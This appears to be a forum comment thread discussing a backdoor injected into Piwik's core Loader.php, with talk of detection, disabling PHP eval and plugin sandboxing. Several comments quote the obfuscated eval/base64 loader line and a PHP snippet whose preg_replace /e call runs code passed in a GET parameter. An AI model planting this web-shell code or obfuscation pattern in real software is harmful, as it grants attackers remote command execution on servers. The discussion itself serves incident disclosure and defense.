I'm more interested in which WP plugin and if it was just out of date or if this is a new vulnerability.

https://github.com/wpscanteam/wpscan

You're not affected if:

- you checked Piwik out of their sourcecode repository - installed / upgraded Piwik before Nov 26th

Check if your piwik/core/Loader.php has some base64-encoded additions at the end of the file

If not, your installation is clean :)

If you read into what the hack does on the forums [1], it actually downloads and installs a backdoor that can execute arbitrary commands on your server. Unless a new version explicitly looks for and removes those files, updating is not enough.

[1] http://forum.piwik.org/read.php?2,97666

       eval(gzuncompress(base64_decode('eF...

Is it ever used by legitimate scripts?

[1] http://php.net/manual/en/ini.core.php#ini.disable-functions

Edit: Also, as noted below, this wouldn't prevent this or many other similar hacks as you need write access to the PHP script to put the eval in in the first place, so you could just write other code in there directly (and pull in extra scripts to execute by writing to disk etc. if necessary). Eval is typically dangerous, in its own right, when it is used by the legitimate developer who then allows unchecked code to be passed to it.

Only internal functions can be disabled using this directive.

It is possible to generate something like a list of all available internal functions, eval is missing here:

  $arr = get_defined_functions();
  var_dump($arr['internal']);

http://www.hardened-php.net/suhosin/configuration.html#suhos...

Just remove anything you use. I use cURL, so I took it out.

I wish.

> Is it ever used by legitimate scripts?

There are edge cases, but I haven't found a need for it in almost a decade of coding. I really wish there was an option to disable it while compiling the PHP binary or using php.ini ...

Keep in mind, removing eval wouldn't have stopped this hack. It would have simply made it more obvious, since they wouldn't be able to encode/compress their injected code.

Anyways, disabling eval doesn't buy you much: If you really want to execute code, write it to a file and then require that file. You can plug that one by making all directories you can load code from unwriteable, but then I could just go and call create_user_func() which is eval in disguise.

Eval is used by most attackers to avoid detection. A one liner add to the end of a legitimate random php file along with extra padding to push it off the screen will make most users to miss it.

Creating directories and files not only requires appropriate permissions but is also more susceptible to be noticed by a user browsing through them.

http://stackoverflow.com/questions/1865020/php-how-to-disabl...

That could happen in any language / framework / situation. It's rogue code that got trusted.

Classic. Installing random crap from the wp ecosystem is something I expect of amateurs, but it's disappointing devs active in the foss community could install and store such things on the same account as their software downloads which btw aren't signed. Irresponsible. And why aren't they disclosing which plugin was it?

(and sort of a bit related, in case somebody missed it: http://wpmu.org/why-you-should-never-search-for-free-wordpre... )

Are you saying that reputable plugins have never had security issues? If not, then what's your point?

The real mystery is how that code got onto the development server to begin with. They can fix the zip file but it won't do much good if the machine is still compromised.

All this is really simple and not the real question, which instead is: where were checksums and why not in a safe place?

  <?php Error_Reporting(0);     if(isset($_GET['g']) && isset($_GET['s'])) { 
    preg_replace("/(.+)/e", $_GET['g'], 'dwm');     exit; 
  } 
  if (file_exists(dirname(__FILE__)."/lic.log")) exit; 

Unfortunatly, because of the architecture of Wordpress and PHP , there is not "sandboxing" possible for plugins. However , always separate a wordpress blog or any downloaded scripts from the rest of your apps. they should not have access to anything but their space and their own database on the server.

A good architecture for a plugin system would be that the plugin uses some kind of DSL(like a template language , so no direct php) , and the core should be able to manage plugin rights ( like : "can read database" , "can write database" , "can write files" , ... ). A slideshow plugin should not be able to write files, or ever write to the database.

I'm really thinking about trying to develop such a system , with security at the core, which is not the case of Wordpress.